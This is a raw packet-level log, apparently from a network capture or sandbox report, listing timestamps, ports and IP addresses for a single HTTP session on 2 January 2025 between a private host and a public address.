Jan 2, 2025 19:14:17.939090014 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939101934 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.939143896 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.939148903 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.939194918 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.939995050 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.940001965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.940009117 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:17.940052986 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:17.970027924 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.024573088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024589062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024595976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024605989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024611950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024616957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024630070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024641037 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.024687052 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.024692059 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024697065 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024708033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024713993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024733067 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.024945974 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024952888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024959087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.024981976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025018930 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025027990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025033951 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025046110 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025067091 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025070906 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025077105 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025084019 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025089025 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025094986 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025098085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025110960 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025115967 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025121927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025125027 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025146961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025152922 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025165081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025171995 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025171995 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025185108 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025192976 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025226116 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025239944 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025255919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025274038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025279999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025298119 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025304079 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025310040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025310040 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025316954 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025342941 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025372028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025377989 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025388002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025413990 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025597095 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025603056 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025609970 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025633097 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025659084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025665998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025676966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025684118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025691032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025712013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025733948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025799036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025804996 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025815010 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025830984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025831938 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025837898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025844097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025849104 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025860071 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025868893 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025902033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025907040 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.025907993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.025937080 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026071072 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026077032 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026082993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026113987 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026141882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026148081 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026154041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026164055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026166916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026185036 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026194096 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026216984 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026273966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026288033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026299953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026313066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026319981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026324987 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026329994 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026331902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026356936 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026372910 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026506901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026516914 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026523113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026529074 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026540041 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026547909 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026561022 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026566982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026576042 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026577950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026613951 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026650906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026659012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026664972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026700020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026710033 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026742935 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026808023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026813984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026827097 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026833057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026853085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026854038 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026859045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.026884079 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.026899099 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027098894 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027107000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027111053 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027116060 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027127028 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027132988 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027138948 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027151108 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027153015 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027160883 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027165890 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027188063 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027205944 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027482033 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027487040 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027498007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027509928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027515888 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027522087 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027527094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027533054 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.027564049 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027565002 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.027585030 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.029593945 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029608011 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029614925 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029619932 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029627085 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029633045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029639006 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029644966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029649973 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029655933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029659033 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.029663086 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029670000 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029675961 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029681921 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.029706001 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.029731035 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.035631895 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115326881 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115390062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115398884 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115411997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115417957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115432024 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115437984 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115449905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115462065 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115485907 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115523100 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115542889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115547895 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115560055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115565062 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115576982 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115591049 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115622044 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115653992 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115659952 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115670919 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115675926 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115680933 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115691900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115698099 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115705013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115745068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115745068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115745068 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115773916 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115780115 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115792036 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115819931 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115828991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115835905 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115884066 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.115958929 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.115972042 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116017103 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116024017 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116029978 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116039038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116044998 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116050959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116055012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116071939 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116096020 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116133928 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116137981 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116143942 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116149902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116156101 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116167068 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116173983 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116206884 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116255045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116261005 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116274118 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116286993 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116292953 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116302013 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116305113 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116312027 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116322994 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116323948 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116331100 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116345882 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116350889 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116357088 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116358042 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116364002 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116384029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116389036 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116389990 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116404057 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116415024 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116415977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116424084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116425991 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116429090 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116446018 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116451025 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116453886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116472006 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116477966 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116492033 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116585016 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116590977 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116602898 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116628885 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116635084 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116638899 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116643906 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116648912 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116655111 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116657019 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116692066 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116694927 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.116699934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116710901 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.116746902 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117243052 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117249012 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117259979 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117265940 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117271900 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117285013 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117290020 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117295980 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117296934 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117311954 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117341042 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117362976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117373943 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117392063 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117397070 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117408037 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117412090 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117418051 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117424965 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117429972 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117432117 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117436886 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117444038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117449999 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117455959 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117466927 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117472887 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117481947 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117485046 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117491007 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.117513895 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.117542028 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118045092 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118115902 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118120909 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118144035 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118155956 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118163109 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118170023 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118175983 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118185997 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118191957 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118196964 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118200064 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118216038 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118221045 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118223906 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118249893 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118262053 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118328094 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118334055 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118345976 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118350029 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118361950 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118367910 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118381977 CET	49704	80	192.168.2.8	147.45.44.131
Jan 2, 2025 19:14:18.118385077 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118391991 CET	80	49704	147.45.44.131	192.168.2.8
Jan 2, 2025 19:14:18.118396044 CET	80	49704	147.45.44.131	192.168.2.8
